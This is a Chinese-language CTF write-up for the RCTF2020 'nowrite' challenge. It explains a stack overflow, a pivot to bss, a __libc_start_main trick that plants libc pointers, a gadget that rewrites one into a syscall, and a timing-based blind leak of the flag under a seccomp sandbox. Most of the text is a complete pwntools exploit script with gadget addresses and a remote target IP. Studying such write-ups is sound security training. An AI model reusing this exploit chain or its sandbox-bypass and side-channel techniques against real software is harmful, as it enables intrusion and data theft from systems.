0%

RCTF2020_nowrite(libc_start_main的妙用+盲注)

首先,检查一下程序的保护机制

检测一下沙箱,发现仅能进行open、read、exit操作,write操作都不行。

然后,我们用IDA分析一下,是一个及其简短的栈溢出程序

程序中没有输出,并且write也禁用了,也没有open函数,execve也禁用了,FULL RELRO也不能进行ret2dl,那么本题只能进行盲注,我们还需要构造出一个open系统调用。但是几乎没有可用的地方可以给我们构造。

找到一条有用的gadgets,如果在bss段上有一个libc某指针,通过这个gadget可以让其指向syscall,这样我们就可以构造open系统调用了。

但是bss段上没有这样的指针,如果有stdout,那么我们可以利用,但是这里没有。由此,想到了libc_start_main。

我们可以先将栈迁移到bss段上,然后调用libc_start_main重启某函数,这样,在bss上就会留下很多libc指针,但是我们不能重启main函数了,因为里面有prctl函数,而prctl调用被禁了。由此,我们可以重启read_n函数,继续输出,劫持自己的返回地址,然后就又可以做rop了。

当在bss段上留下libc指针后,我们就通过gadget将其修改为syscall的地址,然后构造open、read将flag读取到内存当中。

接下来,就是盲注了,在csu上,有一个cmp指令非常有用,我们可以令rbp的低1自己保存着flag对应偏移的1字节,rbp其余字节全为0,然后,我们从rop里传入rbx的值为我们猜测的字符,这样cmp比较,成功后会向下执行pop,我们在后面再布置合适的rop,将栈转移到前面进行重复的cmp,相当于是一个死循环;如果比较失败,则jnz会跳到前面,然后执行call的时候,会崩溃。

如何来让rbp仅保存flag的1字节是重点。

比如,我们要盲注第3个字符,我们读取3个符,将它存储到rbp-0x2的位置,这样,第3个字符就落到了rbp的位置,同理,我们盲注第n个字符时,从文件中读取n个字节,将它存储到rbp-n+1的位置,而rbp始终是这个地址。如何将值保存到rbp里呢,我们使用栈迁移,这样在leave;ret的时候,pop rbp就将数据存储到了rbp里,接下来就会执行后面的rop,因此,我们在bss段上任意找一个地方,保证其8字节为0,以后,我们就将rbp固定在这,然后事先在这后面布置好rop,接下来flag读取存储到这里后,栈迁移过来进行cmp等操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#coding:utf8
from pwn import *

elf = ELF('./no_write')
read_n = 0x00000000004006BF
read_got = elf.got['read']
main_addr = 0x00000000004006E8
ret = 0x000000000040070C

pop_rbp = 0x0000000000400588
#pop rdi ; ret
pop_rdi = 0x0000000000400773
#pop rsi ; pop r15 ; ret
pop_rsi = 0x0000000000400771
#pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
pop = 0x000000000040076b
#pop rbx;pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
csu_pop = 0x000000000040076A
cmp_rbx_rbp = 0x0000000000400761
#leave_ret
leave_ret = 0x000000000040067c
'''
.text:00000000004005B0 mov rdx, r15
.text:00000000004005B3 mov rsi, r14
.text:00000000004005B6 mov edi, r13d
.text:00000000004005B9 call qword ptr [r12+rbx*8]
.text:00000000004005BD add rbx, 1
.text:00000000004005C1 cmp rbp, rbx
.text:00000000004005C4 jnz short loc_4005B0
'''
csu_call = 0x0000000000400750

bss_addr = 0x0000000000601080

call_libc_start_main = 0x0000000000400544

#add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
add_dp_rbp = 0x00000000004005e8

new_stack = bss_addr + 0x600

def blind(index,guess_char):
#第一步做栈迁移,迁移到bss
payload = 'a'*0x18 + p64(pop_rdi) + p64(new_stack+0x8) + p64(pop_rsi) + p64(0x00000000006015D0) + p64(0) + p64(read_n)
payload += p64(pop_rbp) + p64(new_stack) + p64(leave_ret)
#raw_input()
sleep(0.2)
sh.send(payload)
sleep(0.2)
#raw_input()
bss_start = 0x0000000000601078
#接下来,我们在bss段上,调用read,然后劫持read自己的返回栈
payload = p64(pop_rdi) + p64(read_n + 0x1C) + p64(call_libc_start_main)
sh.send(payload)
#raw_input()
sleep(0.2)
#现在,在bss上面,保留了libc指针,通过rop,我们将其值修改为syscall的地址
target_syscall = 0x00000000006015C0
#flag文件名字符串的地址
flag_addr = 0x0000000000601708

rop = p64(csu_pop)
rop += p64(0x10000000000000000-0x2) #rbx = -2
rop += p64(target_syscall + 0x3D) #rbp
rop += p64(0) #r12
rop += p64(0) #r13
rop += p64(0) #r14
rop += p64(0) #r15
rop += p64(ret) * 11
rop += p64(add_dp_rbp)
#target_syscall后续的rop,是靠当前这个read来输入的
rop += p64(pop_rdi) + p64(target_syscall + 0x8) + p64(pop_rsi) + p64(0x1000) + p64(0) + p64(read_n)
#read_n(bss,2)使得rax为2
rop += p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0x2) + p64(0) + p64(read_n)
rop += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0)*2
#栈迁移到那个target_syscall前方,这样我们就可以执行syscall了
rop += p64(pop_rbp) + p64(target_syscall - 0x8) + p64(leave_ret)
rop += './flag\x00'
sh.send(rop)
sleep(0.2)
#raw_input()

rop_addr = 0x00000000006015C8
flag_addr = rop_addr + 0x200
#此次用于输入rop2
rop = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0x1000) + p64(0) + p64(read_n)
#盲注逻辑
rop += p64(csu_pop)
rop += p64(0) + p64(1)
rop += p64(read_got)
#通过将存储flag的地址位置上移动,达到读取下一个字符的作用
rop += p64(3) + p64(flag_addr-index) + p64(0x1+index)
rop += p64(csu_call)
rop += p64(0)
#rbx = guess_char
rop += p64(ord(guess_char))
#rbp
rop += p64(flag_addr)
rop += p64(0)*4
#栈迁移到flag里面,使得rbp保存了flag的1字节数据
rop += p64(leave_ret)
sleep(0.2)
sh.send(rop)
#raw_input()
#使得rax为2
sh.sendline('a')
#rop2
#如果盲注成功,栈重新转移回去,一直比较,使得程序一直处于一个循环,达到延时的目的,不成功则直接崩溃
rop2 = '\x00'*8 + p64(cmp_rbx_rbp) + p64(0)
#rbx 重新赋值为guess_char
rop2 += p64(ord(guess_char))
#rbp重新转到flag_addr处
rop2 += p64(flag_addr)
rop2 += p64(0)*4
#栈重新回去
rop2 += p64(leave_ret)
#raw_input()
sleep(0.2)
sh.sendline(rop2)

#blind(1,'C')
#flag里面可能出现的字符
possible_char = []
possible_char.append('_')
#字符的顺序可以影响效率,让频率最高的字符放前面
for x in range(0,10):
possible_char.append(str(x))
for x in range(ord('A'),ord('Z')+1):
possible_char.append(chr(x))
for x in range(ord('a'),ord('z')+1):
possible_char.append(chr(x))

possible_char.append('{')
possible_char.append('}')
possible_char.append('\x00')
OK = False
#flag = 'RCTF{C0mpare_f1ag_0ne_bY_oNe}'
flag = ''
index = 0
while not OK:
print 'guess (',index,') char'
length = len(flag)
for guess_char in possible_char:
global sh
#sh = process('./no_write')
sh = remote('129.211.134.166',6000)
blind(index,guess_char)
start = time.time()
sh.can_recv_raw(timeout = 3)
end = time.time()
sh.close()
if end - start > 3:
if guess_char == '\x00':
OK = True
flag += guess_char
print 'success guess char at(',index,')'
index+=1
break;
print 'flag=',flag
if length == len(flag):
OK = True
print 'ojbk!'